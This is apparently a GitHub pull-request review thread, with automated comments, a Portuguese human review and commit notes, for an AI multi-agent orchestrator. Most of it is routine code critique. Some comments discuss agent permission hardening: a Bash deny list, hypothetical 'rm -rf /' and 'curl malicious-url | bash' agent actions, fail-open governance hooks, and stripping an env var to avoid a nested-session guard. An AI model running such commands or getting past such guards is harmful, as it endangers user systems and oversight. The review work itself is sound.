3. Use systemd `ReadWritePaths` to make the codebase read-only for @qa Worker's cgroup (OS-level enforcement -- the architecture mentions this in Section 8.1 Layer 2 but does not implement it for @qa)

**Recommendation:** Option 3 is the only process-correct solution. If @qa Worker runs under a systemd transient unit with `ReadWritePaths=/tmp ReadOnlyPaths=/home/ubuntu/aios-core`, the OS prevents all file writes regardless of how the command is crafted. This aligns with P2. But this is deferred to Phase 5 (systemd transient units), meaning @qa is NOT read-only in Phases 0-4.

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⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Check if the autonomous-agents architecture document explicitly phases the systemd enforcement
rg -n -C3 "Phase 5.*systemd|ReadWritePaths|ReadOnlyPaths" docs/architecture/autonomous-agents-validation.md

Repository: SynkraAI/aios-core

Length of output: 4016


@qa Worker's Bash escape hatch violates P2 principle.

The analysis is thorough and correct. The document explicitly states on line 220 that "@qa is NOT read-only in Phases 0-4" despite systemd enforcement being deferred to Phase 5. This is a current-phase violation of P2 ("Authority is structural, not advisory"), not a future-phase concern.

The document's own recommendation on line 863 supports this severity: "Option A for Phases 0-4" (remove Bash entirely), confirming that the Bash availability in current phases is a deficiency requiring action now, not merely a known limitation awaiting Phase 5. The existence of a planned structural fix does not reduce the severity of the advisory-only enforcement gap today.

The three mitigation options are well-reasoned, with Option 3 (systemd ReadOnlyPaths) correctly identified as structural. However, the recommendation to use Option A for Phases 0-4 is the actionable path forward before Phase 5 is realized.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-validation.md` around lines 193 - 221,
The `@qa` Worker profile currently leaves Bash in allowed_tools while only
blocking Write/Edit and a tiny denied_bash_patterns list, which allows arbitrary
file modification and violates principle P2; update the `@qa` profile to remove
"Bash" from allowed_tools for Phases 0-4 (or alternatively enforce OS-level
read-only via systemd ReadOnlyPaths/ReadWritePaths when moving to Phase 5), and
if you keep Bash temporarily add a comprehensive deny list (e.g., patterns
matching "echo.*>", "sed -i", "tee ", ">", ">>", "cp ", "mv ", "node -e",
"python -c") plus explicit documentation in the profile that Phases 0-4 are
enforced by removing Bash until systemd enforcement is available.

Comment on lines +703 to +704
"enum": ["ack", "progress", "agent_switch", "tool_use", "error", "final"],
"description": "Message type for the consumer to format appropriately"
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⚠️ Potential issue | 🟠 Major

Schema/event type mismatch will reject documented health alerts

content.type does not allow "system_alert", but Line 851 documents emitting it. Any strict validator will reject that outbox message.

Proposed fix
-          "enum": ["ack", "progress", "agent_switch", "tool_use", "error", "final"],
+          "enum": ["ack", "progress", "agent_switch", "tool_use", "error", "final", "system_alert"],

Also applies to: 851-851

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/session-daemon-phase0.md` around lines 703 - 704, The
schema for content.type currently enumerates only
["ack","progress","agent_switch","tool_use","error","final"] but documentation
states events include "system_alert", causing strict validators to reject those
outbox messages; update the enum in the message schema (the content.type field)
to include "system_alert" (or adjust the docs to remove/replace "system_alert")
so the schema and documented events in the phase0 session daemon (references:
content.type enum and the documented emission of "system_alert") are consistent.

Comment on lines +831 to +839
cancel() {
if (this.currentProcess) {
this.currentProcess.kill('SIGTERM');
// Give 5 seconds, then SIGKILL
setTimeout(() => {
if (this.currentProcess) {
this.currentProcess.kill('SIGKILL');
}
}, 5000);
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⚠️ Potential issue | 🟠 Major

cancel() can kill the wrong process after a quick restart

The delayed SIGKILL uses this.currentProcess at timeout execution time. If a new command starts before 5s, the timeout can terminate the new process.

Proposed fix
  cancel() {
-   if (this.currentProcess) {
-     this.currentProcess.kill('SIGTERM');
+   const proc = this.currentProcess;
+   if (proc) {
+     proc.kill('SIGTERM');
      // Give 5 seconds, then SIGKILL
      setTimeout(() => {
-       if (this.currentProcess) {
-         this.currentProcess.kill('SIGKILL');
+       if (this.currentProcess === proc) {
+         proc.kill('SIGKILL');
        }
      }, 5000);
    }
  }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
cancel() {
if (this.currentProcess) {
this.currentProcess.kill('SIGTERM');
// Give 5 seconds, then SIGKILL
setTimeout(() => {
if (this.currentProcess) {
this.currentProcess.kill('SIGKILL');
}
}, 5000);
cancel() {
const proc = this.currentProcess;
if (proc) {
proc.kill('SIGTERM');
// Give 5 seconds, then SIGKILL
setTimeout(() => {
if (this.currentProcess === proc) {
proc.kill('SIGKILL');
}
}, 5000);
}
}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/telegram-observability-bridge.md` around lines 831 - 839,
The cancel() method's delayed SIGKILL reads this.currentProcess when the timeout
fires, so a quickly restarted process can be killed; fix by capturing the exact
process instance (or its pid) into a local const (e.g., const proc =
this.currentProcess or const pid = this.currentProcess.pid) before scheduling
setTimeout and use that captured reference inside the timeout callback (or clear
any existing timeout when starting a new process) so cancel() always targets the
original process; update the cancel() implementation and any
start/process-restart logic accordingly (refer to cancel and currentProcess).

Comment on lines +1695 to +1750
export class RateLimiter {
constructor(options = {}) {
this.maxTokens = options.burstSize || 3;
this.refillRate = options.messagesPerSecond || 1; // tokens per second
this.buckets = new Map(); // agentId -> { tokens, lastRefill }
this.queues = new Map(); // agentId -> [{ message, options }]
this.drainInterval = null;
}

acquire(agentId) {
if (!this.buckets.has(agentId)) {
this.buckets.set(agentId, { tokens: this.maxTokens, lastRefill: Date.now() });
}

const bucket = this.buckets.get(agentId);
const now = Date.now();
const elapsed = (now - bucket.lastRefill) / 1000;
bucket.tokens = Math.min(this.maxTokens, bucket.tokens + elapsed * this.refillRate);
bucket.lastRefill = now;

if (bucket.tokens >= 1) {
bucket.tokens -= 1;
return true;
}
return false;
}

enqueue(agentId, message, options) {
if (!this.queues.has(agentId)) {
this.queues.set(agentId, []);
}
this.queues.get(agentId).push({ message, options });
this._startDrain();
}

_startDrain() {
if (this.drainInterval) return;
this.drainInterval = setInterval(() => {
let anyPending = false;
for (const [agentId, queue] of this.queues) {
if (queue.length === 0) continue;
anyPending = true;
if (this.acquire(agentId)) {
const item = queue.shift();
// Emit for AgentRouter to send
this.emit('drain', { agentId, ...item });
}
}
if (!anyPending) {
clearInterval(this.drainInterval);
this.drainInterval = null;
}
}, 1100); // Slightly over 1 second
}
}
```
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⚠️ Potential issue | 🟠 Major

Rate-limited messages may never be delivered

RateLimiter enqueues items and calls this.emit('drain', ...), but this snippet does not define emitter behavior (no EventEmitter base or equivalent). That can silently drop queued sends under load.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/telegram-observability-bridge.md` around lines 1695 - 1750,
RateLimiter currently calls this.emit('drain', ...) but does not provide emitter
behavior; update RateLimiter to extend/compose an EventEmitter so emitted events
are delivered: make RateLimiter extend EventEmitter (or create an internal
EventEmitter instance) and call super() in the constructor, import/require the
EventEmitter class, and ensure listeners are attached by callers to the 'drain'
event; keep existing methods (acquire, enqueue, _startDrain) unchanged except
for using the emitter instance if you choose composition instead of inheritance.

Comment on lines +120 to +123
**FR-003: Persistencia de estado do workflow**
O estado do workflow (fase atual, historico de fases, custos acumulados, retries) deve ser persistido em `.aios/orchestrator/workflow-state.json`. Se o processo reiniciar, deve retomar da fase onde parou.

**FR-004: Skip condicional de fases**
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⚠️ Potential issue | 🟠 Major

Single workflow-state.json conflicts with parallel workflow safety.

A shared state file will cause collisions/overwrites when more than one workflow runs or resumes concurrently. Specify per-workflow/per-story state files (e.g., by workflowId) as the required persistence model.

Proposed PRD adjustment
- O estado do workflow (...) deve ser persistido em `.aios/orchestrator/workflow-state.json`.
+ O estado do workflow (...) deve ser persistido em `.aios/orchestrator/state/{workflowId}.json`.
+ Cada workflow usa arquivo isolado para permitir execucao paralela e resume sem conflitos.
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
**FR-003: Persistencia de estado do workflow**
O estado do workflow (fase atual, historico de fases, custos acumulados, retries) deve ser persistido em `.aios/orchestrator/workflow-state.json`. Se o processo reiniciar, deve retomar da fase onde parou.
**FR-004: Skip condicional de fases**
**FR-003: Persistencia de estado do workflow**
O estado do workflow (fase atual, historico de fases, custos acumulados, retries) deve ser persistido em `.aios/orchestrator/state/{workflowId}.json`. Cada workflow usa arquivo isolado para permitir execucao paralela e resume sem conflitos. Se o processo reiniciar, deve retomar da fase onde parou.
**FR-004: Skip condicional de fases**
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/product/prd-sdk-orchestrator.md` around lines 120 - 123, Update FR-003
to avoid a single shared state file by making the persisted path per-workflow:
replace the hardcoded ".aios/orchestrator/workflow-state.json" with a template
that includes a unique workflow identifier (e.g., "workflowId") such as
".aios/orchestrator/{workflowId}/workflow-state.json" or
".aios/orchestrator/workflow-state-{workflowId}.json"; update the requirement
text to mandate that the orchestrator uses the workflowId when reading/writing
state so concurrent/resumed workflows do not collide and mention the identifier
must be stable across restarts (reference FR-003 and the "workflow-state.json"
artifact).


| | Custo Padrao | Com Cache Otimizado |
|---|-------------|---------------------|
| **TOTAL API** | **$1.577.13** | **$1.340.56** |
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⚠️ Potential issue | 🟠 Major

C4 optimized API cost is inconsistent across tables

Line 338 reports $1.340.56 (likely intended $1,340.56), while Line 415 shows $1.141. These values conflict and can invalidate the scenario comparison.

Also applies to: 415-415

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/autonomous-agents-cost-analysis.md` at line 338, The C4
optimized API cost cell contains a malformed value "**$1.340.56**" and conflicts
with the other table value "**$1.141**"; locate the table row containing the
exact string "**$1.340.56**" and the conflicting cell "**$1.141**", correct the
formatting to a standard currency format (e.g., "$1,340.56") and reconcile both
table entries to the same, verified computed value (update both occurrences to
the correct number after re-running the cost calculation).

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Review Completo -- PR #538: SDK Orchestrator com execucao paralela de workflows

Resumo

Este PR introduz um SDK Orchestrator completo para execucao de workflows multi-agente via Claude Agent SDK query(). O escopo e massivo -- +44.273 linhas, tocando 4 novos pacotes (aios-orchestrator, session-daemon, telegram-bridge, aios-mcp-federation), ~20 documentos de arquitetura/pesquisa, scripts de POC, e modificacoes em configs do projeto.


1. Arquitetura do Orchestrator -- Solida porem com ressalvas

A arquitetura core do packages/aios-orchestrator/ e bem estruturada:

Pontos positivos:

  • Separacao de responsabilidades clara: registry.mjs, session-manager.mjs, workflow-engine.mjs, governance-hooks.mjs, state-persistence.mjs, decision-parsers.mjs, comms-bridge.mjs, errors.mjs -- cada modulo tem um escopo bem definido
  • Erro hierarchy tipada: OrchestratorError > ConfigError | BudgetError | TransientError com agentId em todos para tracing
  • Crash recovery via state persistence: Escrita atomica (write-to-tmp + rename) corretamente implementada em state-persistence.mjs (CP-12 fix)
  • Index-based while loop para backward jumps: O workflow engine usa phaseIndex em vez de for..of, permitindo saltos para tras no retry (CP-3 fix). Isso esta correto
  • Decision parsing multi-estrategia: JSON-first com fallback para regex e fallback conservativo (NO-GO/retry). Bom

Problemas encontrados:

1.1 permissionMode: bypassPermissions em TODOS os 11 agentes

Cada agente no agent-registry.json usa bypassPermissions. Isso significa que o SDK nao pede confirmacao para nenhuma operacao, incluindo Bash, Write, Edit. Combinado com o fato de que dev e data-engineer tem Bash nos allowedTools sem restricoes alem de git push, isso e uma superficie de ataque significativa. Se o LLM decidir executar rm -rf / ou curl malicious-url | bash, nao ha barreira.

Recomendacao: Para agentes com acesso ao Bash, considerar no minimo um allowlist de comandos ou padroes permitidos, nao apenas um blocklist de 4 comandos.

1.2 Governance hooks falham aberto (fail-open)

Em governance-hooks.mjs, se o hook de governanca lanca uma excecao, a decisao default e allow. Isso e perigoso -- um bug no regex de deteccao de evasao significa que o comando passa. Deveria ser fail-closed (deny por padrao em caso de erro).

1.3 Hardcoded pricing no extractCost

const inputCost = (last.usage.input_tokens / 1_000_000) * 3;  // 3/MTok
const outputCost = (last.usage.output_tokens / 1_000_000) * 15; // 15/MTok

Esses precos vao ficar desatualizados rapidamente. O registry usa claude-sonnet-4-6 para a maioria dos agentes, mas o calculo usa pricing que pode nao corresponder. Deveria ser configuravel ou vir do SDK.

1.4 Cross-package import fragil

// comms-bridge.mjs
import { OutboxWriter } from '../../session-daemon/src/outbox-writer.js';

Import relativo entre pacotes diferentes (aios-orchestrator importa de session-daemon). Isso quebra se os pacotes forem publicados separadamente no npm ou se a estrutura de diretorios mudar. Deveria usar uma dependencia declarada no package.json ou um shared package.


2. Uso do Claude Agent SDK query()

O uso em session-manager.mjs e correto e bem pensado:

  • Strip do CLAUDECODE env var para evitar o guard de sessao aninhada -- correto
  • Async iterator (for await) para streaming -- correto
  • settingSources: ['user', 'project'] para carregar CLAUDE.md -- correto
  • Retry com exponential backoff para erros transientes -- correto

Porem: A funcao sdkQuery e importada com top-level await import() e graceful degradation. O SDK esta como dependencia no package.json. Se o import falhar em producao, o erro so aparece quando run() e chamado, nao no startup. Seria melhor falhar rapido no startup.


3. Escopo -- Este PR deveria ser dividido

Este e o problema principal do PR. 44K linhas em um unico PR torna o review praticamente impossivel de fazer com qualidade. O diff excede o limite do GitHub API (20K linhas), o que significa que muitos arquivos aparecem com 0 additions na API.

Componentes que deveriam ser PRs separados:

PR Escopo Linhas aprox.
PR 1 packages/aios-orchestrator/ (core) ~14K
PR 2 packages/session-daemon/ ~5K
PR 3 packages/telegram-bridge/ ~3K
PR 4 packages/aios-mcp-federation/ ~3K
PR 5 Docs de arquitetura ~12K
PR 6 Docs de pesquisa/freelance/LinkedIn ~3K
PR 7 Scripts de POC e config ~2K

3.1 Conteudo completamente nao-relacionado

Os seguintes arquivos nao tem nada a ver com o SDK Orchestrator e devem ser removidos deste PR:

  • docs/research/freelance-machine/ (6 arquivos) -- cold outreach, cover letters, market analysis, proposal templates, Upwork profile. Isso e material de marketing pessoal, nao codigo do projeto
  • docs/research/linkedin-strategy/2026-03-01-relatorio-estrategico.md -- estrategia pessoal de LinkedIn
  • .claude/commands/content-visual.md -- comando de conteudo visual
  • .claude/agent-memory/ changes -- memoria pessoal dos agentes

Commitar material pessoal de freelance em um repositorio open-source e inapropriado e dilui a qualidade do PR.


4. Seguranca

4.1 Numero de telefone hardcoded

# overnight.sh
OPENCLAW_TARGET="+5528999301848"

Numero de telefone real commitado no repositorio open-source. Deve ser uma variavel de ambiente.

4.2 systemd service com paths hardcoded

User=ubuntu
WorkingDirectory=/home/ubuntu/aios-core
EnvironmentFile=-/home/ubuntu/aios-core/.env

Assume usuario ubuntu e paths especificos. Deveria ser configuravel ou usar template.

4.3 settings.local.json com Bash(node -e:*) allow

Isso permite execucao arbitraria de JavaScript via node -e. Combinado com bypassPermissions, qualquer agente pode executar qualquer codigo JS.


5. Testes -- 573 Alegados vs Realidade

Os testes do orchestrator sao substanciais e de boa qualidade:

Arquivo de teste Tamanho Escopo
e2e.test.mjs 50KB Integracao completa mock
session-manager.test.mjs 36KB Unit tests com mock query
workflow-engine.test.mjs 32KB SDC + QA Loop + crash recovery
cli.test.mjs 29KB Arg parsing, dry-run, status
comms-bridge.test.mjs 29KB Outbox, rate limiting
governance.evasion.test.mjs 28KB Evasion patterns extensivo
deploy.test.mjs 17KB Deploy validation
governance.unit.test.mjs 18KB Authority matrix
registry.test.mjs 17KB Registry loading/validation
decision-parsers.test.mjs 9KB GO/NO-GO/PASS/FAIL parsing

Mais testes nos outros pacotes: session-daemon (4 files, 50KB), telegram-bridge (5 files, 24KB), aios-mcp-federation (4 files, 27KB).

Total estimado: ~23 arquivos de teste, ~350KB de codigo de teste. A contagem de 573 testes parece plausivel. Os testes que analisei usam mocks adequados (nenhuma chamada real ao SDK), cobrem edge cases, e testam error paths.

Ponto positivo: Os testes de evasion (governance.evasion.test.mjs) sao particularmente bons -- testam base64 encoding, backslash escaping, quote splitting, path traversal, subshell wrapping. Isso e raro de ver.

Preocupacao: Todos os testes usam node --test (built-in), nao Jest. O projeto usa Jest para os outros pacotes. Isso cria inconsistencia.


6. Race Conditions na Execucao Paralela

O PR claims per-story state files enable parallel workflow execution without conflicts. Analisando:

State isolation por arquivo: state-persistence.mjs gera nomes de arquivo unicos por story. Isso e correto para workflows em stories diferentes. Porem:

  • Slugificacao pode colidir: storySlug() remove paths e extensoes. stories/v1/auth.md e stories/v2/auth.md geram o mesmo slug auth. Isso causaria corrupcao de state
  • detectDirtyState() usa execSync('git status'): Isso e global ao repositorio. Dois workflows paralelos vendo o mesmo git status e uma race condition
  • overnight.sh e sequencial: O batch script processa stories em serie, o que evita race conditions. Mas a documentacao vende parallel execution como feature

Veredicto: A isolacao de state files funciona para o caso simples, mas a paralelizacao real tem gaps nao resolvidos.


7. Outros Problemas Tecnicos

  • RETRY_TARGETS nao inclui todos os mapas possiveis: Se uma nova fase com retry for adicionada, o fallback e phase.id (retry da mesma fase). Design fragil
  • Dual budget tracking desconectado: O BudgetTracker em governance-hooks e o tracking em workflow-engine sao sistemas paralelos nao conectados
  • overnight.sh usa sudo para enviar notificacoes: Por que precisa de sudo para enviar uma mensagem? Requisito desnecessario

Veredicto: REQUEST_CHANGES

A qualidade tecnica do orchestrator core e boa, mas o PR e inaceitavel no estado atual por:

  1. Escopo excessivo (+44K linhas, 4 pacotes + docs + scripts + material pessoal) -- impossivel de revisar com seguranca
  2. Material pessoal de freelance/LinkedIn commitado em repositorio open-source
  3. Numero de telefone hardcoded em overnight.sh
  4. Governance fail-open -- deveria ser fail-closed
  5. bypassPermissions universal sem justificativa documentada
  6. Cross-package import relativo (../../session-daemon/src/...)

Recomendacao: Dividir em pelo menos 3-4 PRs (orchestrator core, session-daemon, telegram-bridge + MCP federation, docs). Remover completamente o material de freelance/LinkedIn. Mover o numero de telefone para variavel de ambiente. Mudar governance para fail-closed.

O core do orchestrator (session-manager.mjs, workflow-engine.mjs, governance-hooks.mjs, decision-parsers.mjs, state-persistence.mjs) e trabalho serio e bem escrito. Merece um PR focado onde possa receber review adequado.


Revisado por @nikolasdehor

Ubuntu and others added 2 commits March 2, 2026 21:44
…inconsistencies

- Rename @github-devops@devops across 70 files (correct agent name)
- Rename Otto → Gage alias in 3 task files
- Rename github-devops-*.md task files → devops-*.md
- Remove duplicate "Canal Bidirecional" section from CLAUDE.md

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
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Actionable comments posted: 13

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (3)
.codex/agents/devops.md (1)

256-260: ⚠️ Potential issue | 🔴 Critical

Fix broken task dependency references.

The dependencies array references task files with the github-devops- prefix, but these files have been renamed to use the devops- prefix. Update the following references:

  • github-devops-version-management.mddevops-version-management.md
  • github-devops-pre-push-quality-gate.mddevops-pre-push-quality-gate.md
  • github-devops-github-pr-automation.mddevops-github-pr-automation.md
  • github-devops-repository-cleanup.mddevops-repository-cleanup.md
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.codex/agents/devops.md around lines 256 - 260, Update the broken task
dependency references in the dependencies array inside .codex/agents/devops.md
by replacing the old github-devops- prefixed filenames with their new devops-
equivalents: change github-devops-version-management.md to
devops-version-management.md, github-devops-pre-push-quality-gate.md to
devops-pre-push-quality-gate.md, github-devops-github-pr-automation.md to
devops-github-pr-automation.md, and github-devops-repository-cleanup.md to
devops-repository-cleanup.md so that the dependencies array points to the
renamed task files.
.aios-core/development/agent-teams/team-qa-focused.yaml (1)

9-9: ⚠️ Potential issue | 🟠 Major

Change agent identifier from github-devops to devops.

Line 9 and the quality_gates section (lines 67, 76, 85) reference github-devops, but the canonical agent identifier is devops per the agent definition at .aios-core/development/agents/devops.md. Update all references in this file to use devops consistently with the agent definition and documentation sections that already reference @devops.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.aios-core/development/agent-teams/team-qa-focused.yaml at line 9, Replace
the incorrect agent identifier "github-devops" with the canonical "devops"
wherever it appears in this YAML (including the quality_gates entries referenced
and any refs that currently use "github-devops"); ensure the quality_gates
section entries (and any agent references) match the documented agent identifier
"devops" and any mentions of "@devops" remain consistent with that change so all
agent identifiers and documentation in this file use "devops".
.claude/commands/AIOS/agents/devops.md (1)

393-399: ⚠️ Potential issue | 🟡 Minor

Update enforcement_mechanism to match current agent ID "devops".

The git pre-push hook documentation checks for "github-devops", but the agent ID is now "devops" (line 56). Update line 396 from:

  • Blocks push if agent != "github-devops"

to:

  • Blocks push if agent != "devops"

This aligns the hook documentation with the actual agent ID and the redirect message on line 397, which already points to @devops.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/commands/AIOS/agents/devops.md around lines 393 - 399, Update the
enforcement_mechanism block to reflect the current agent ID by replacing the
string "github-devops" with "devops" so the pre-push hook description
(enforcement_mechanism) now reads "Blocks push if agent != \"devops\"" and
matches the redirect message to `@devops`; check the enforcement_mechanism text
and any occurrences of the old agent ID within that block to ensure consistency.
♻️ Duplicate comments (2)
.claude/CLAUDE.md (2)

424-426: ⚠️ Potential issue | 🟠 Major

Harden DM policy before rollout.

Line 425 (dmPolicy: open) broadens inbound attack surface and privacy risk. Prefer allowlist (or document explicit compensating controls + approval).

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/CLAUDE.md around lines 424 - 426, The dmPolicy setting currently set
as "open" (dmPolicy: open) increases attack surface; change dmPolicy to a
restrictive option such as "allowlist" (e.g., dmPolicy: allowlist) and
implement/update the corresponding allowlist of permitted user IDs or groups, or
alternatively attach documented compensating controls and explicit approval
metadata next to the dmPolicy entry so reviewers can verify approval and
controls; update any related configuration validation or comments referencing
dmPolicy to reflect the new policy and where the allowlist/approval is stored.

400-401: ⚠️ Potential issue | 🟠 Major

Normalize OpenClaw CLI flags to one contract (--target/--message).

Line 400/401 conflicts with Line 446 and can lead to failed operator commands. Use one canonical syntax consistently across all examples.

#!/bin/bash
# Verify documented flags vs OpenClaw contract/bridge implementation
rg -n "openclaw message send|openclaw agent" .claude/CLAUDE.md -C1
fd -HI "aios-openclaw-contract.yaml" -x sh -c 'echo "== {} =="; rg -n "--target|--to|--message|--body|message send|agent" "{}"'
fd -HI "index.js" openclaw-mcp-bridge -x sh -c 'echo "== {} =="; rg -n "--target|--to|--message|--body|message send|agent" "{}"'
Proposed doc fix
-| `openclaw message send --to +NUMBER --body "texto"` | Enviar mensagem direta |
-| `openclaw agent --to +NUMBER --message "texto" --deliver` | Executar agente e entregar resposta |
+| `openclaw message send --target +NUMBER --message "texto"` | Enviar mensagem direta |
+| `openclaw agent --target +NUMBER --message "texto" --deliver` | Executar agente e entregar resposta |

Also applies to: 446-447

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/CLAUDE.md around lines 400 - 401, The two example CLI usages
(`openclaw message send --to +NUMBER --body "texto"` and `openclaw agent --to
+NUMBER --message "texto" --deliver`) use conflicting flags; standardize all
examples to the canonical contract flags `--target` for recipient and
`--message` for payload (e.g., replace `--to` with `--target` and `--body` with
`--message`) so examples match the OpenClaw contract/bridge; update every
instance (including the duplicated examples around the shown diff and the ones
at lines referenced) and verify by searching for literals `openclaw message
send`, `openclaw agent`, `--to`, `--body`, `--target`, and `--message` to ensure
consistency.
🧹 Nitpick comments (10)
docs/pt/agents/persona-definitions.md (1)

309-309: Corrigir histórico de renomeação do agente.

Na Line 309, o texto está contraditório (“era @devops e será renomeado para @devops”). Isso perde o contexto da migração e pode confundir leitores sobre compatibilidade retroativa.

✏️ Proposta de correção
-**Nota:** Este agente era anteriormente `@devops` e será renomeado para `@devops` com um alias para compatibilidade retroativa.
+**Nota:** Este agente era anteriormente `@github-devops` e foi renomeado para `@devops`, mantendo alias para compatibilidade retroativa.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/pt/agents/persona-definitions.md` at line 309, The note currently
repeats the same agent name (`@devops`) and is ambiguous; update the sentence to
clearly state the previous name and the new name (replace the duplicated
`@devops` so one occurrence is the former identifier and the other is the new
identifier) and explicitly mention that the old name will be kept as an alias
for backward compatibility (edit the "Nota:" line that contains `@devops`).
.codex/agents/architect.md (1)

423-423: Consider renaming the legacy delegation section key for consistency.

The user-facing references at Lines 423 and 430 now use @devops, but the YAML section key remains delegate_to_github_devops (Line 142). Consider renaming that key (and any consumers) to avoid future confusion.

Also applies to: 430-430

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.codex/agents/architect.md at line 423, The legacy YAML section key
delegate_to_github_devops should be renamed to match the user-facing tag
`@devops`; update the YAML key name (delegate_to_github_devops -> devops or
delegate_to_devops) and then update all consumers that reference
delegate_to_github_devops (templates, parsing logic, config readers) to use the
new key; ensure any documentation or examples that reference `@devops` remain
consistent with the new YAML key so no mismatches remain between the user-facing
string and the config key.
docs/research/freelance-machine/cover-letters-junior-ai.md (2)

105-105: Tighten phrasing for fluency.

Small wording tweaks on Line 105 and Line 115 read more naturally.

Suggested edit
-I don't just call LLM APIs -- I engineer the systems around them.
+I don't just call LLM APIs -- I engineer the surrounding systems.

-I'd be glad to walk through the architecture of any of these systems.
+I'd be glad to walk through the architecture of these systems.

Also applies to: 115-115

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/freelance-machine/cover-letters-junior-ai.md` at line 105,
Tighten the two sentences (currently at Line 105 and Line 115) for smoother
phrasing: replace the Line 105 sentence "I don't just call LLM APIs -- I
engineer the systems around them. Session management, error recovery, cost
optimization, structured outputs, tool orchestration. The difference between a
demo and a product." with a single, fluent sentence that groups responsibilities
(for example: "I don't just call LLM APIs — I engineer the systems around them:
session management, error recovery, cost optimization, structured outputs, and
tool orchestration, turning demos into production-ready products."); apply a
similar tightening to the Line 115 sentence to remove choppy fragments and
ensure parallel list structure and clear flow.

3-5: Unify intro language with the rest of the document.

Lines 3–5 are in Portuguese while the templates are in English. Keeping one language improves readability and reuse for collaborators.

Suggested edit
-> 3 cover letters padronizadas para vagas de Junior AI Solutions Engineer.
-> Foco: RAG, MCP, OpenClaw, Claude Code, multi-agent systems.
-> Adaptar campos [ENTRE COLCHETES] para cada vaga.
+> 3 standardized cover letters for Junior AI Solutions Engineer roles.
+> Focus: RAG, MCP, OpenClaw, Claude Code, multi-agent systems.
+> Adapt fields [IN BRACKETS] for each role.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/freelance-machine/cover-letters-junior-ai.md` around lines 3 -
5, The document intro lines "3 cover letters padronizadas para vagas de Junior
AI Solutions Engineer. Foco: RAG, MCP, OpenClaw, Claude Code, multi-agent
systems. Adaptar campos [ENTRE COLCHETES] para cada vaga." are in Portuguese
while the templates are English; replace these three lines with an English
equivalent that matches the rest of the document (e.g., "3 standardized cover
letter templates for Junior AI Solutions Engineer roles. Focus: RAG, MCP,
OpenClaw, Claude Code, multi-agent systems. Adapt fields [IN BRACKETS] for each
job.") so wording and bracket conventions align with the templates and
collaborators.
.gemini/rules/AIOS/agents/devops.md (1)

402-435: Consider deriving examples/policies from agent.id to prevent drift

The @devops rename is applied consistently here, but the stale literal in the enforcement section shows this config is vulnerable to string drift. Consider referencing a single canonical identifier source for policy text and hook generation.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.gemini/rules/AIOS/agents/devops.md around lines 402 - 435, The policy text
hardcodes the agent name "@devops" which risks string drift; replace hardcoded
occurrences with a single canonical reference derived from the agent identity
(agent.id) so the examples and enforcement hooks always match the actual agent
name. Update the templates/examples (the blocks named standard_push,
release_creation, repository_cleanup and any enforcement text) to interpolate or
reference agent.id instead of the literal "@devops", and ensure code that
generates hooks (e.g., repository-detector.js integration points) reads agent.id
as the source of truth so generated hooks, PR creation, and displays use the
same identifier.
.aios-core/development/tasks/create-brownfield-story.md (1)

532-533: Consider adding explicit lint/typecheck/test gates to Pre-PR or Pre-Deployment checklists.

These sections now point to @devops correctly, but the task still lacks explicit standard quality gates before completion.

Based on learnings, "Execute quality gates before concluding work: npm run lint, npm run typecheck, npm test."

Also applies to: 575-576

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.aios-core/development/tasks/create-brownfield-story.md around lines 532 -
533, The Pre-PR and Pre-Deployment checklist entries currently only require
running coderabbit and lack explicit quality gates; update the checklists in the
Pre-PR and Pre-Deployment sections to include explicit steps to run standard
quality gates (e.g., add checklist items such as "Run npm run lint", "Run npm
run typecheck", and "Run npm test") so that the tasks after the existing
coderabbit commands require these commands to complete before marking the
checklist done (apply the same additions to the corresponding lines referenced
around the existing Pre-PR and Pre-Deployment entries).
.claude/commands/AIOS/agents/architect.md (1)

283-287: Recommended follow-up: rename stale delegation key for consistency.

These lines migrate behavior to @devops, but the YAML block still uses delegate_to_github_devops (Line 142). Renaming that key to delegate_to_devops would avoid mixed naming and reduce future config confusion.

Also applies to: 423-430

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/commands/AIOS/agents/architect.md around lines 283 - 287, The YAML
uses a stale key name delegate_to_github_devops while newly delegated actions
reference `@devops`; rename the YAML key to delegate_to_devops and update all
occurrences (the original delegate_to_github_devops identifier and any
references) to the new name so the configuration is consistent; also update any
related strings or mappings (e.g., the redirect_message and places where git
push/gh pr create are tied to the delegate) to reference delegate_to_devops to
avoid mixed naming.
.gemini/rules/AIOS/agents/architect.md (1)

283-287: Consider finishing the alias cleanup in this same YAML file.

These changes switch behavior text to @devops, but the legacy section key delegate_to_github_devops remains elsewhere in the same definition. Renaming that key too would avoid mixed terminology.

🤖 Prompt for AI Agents
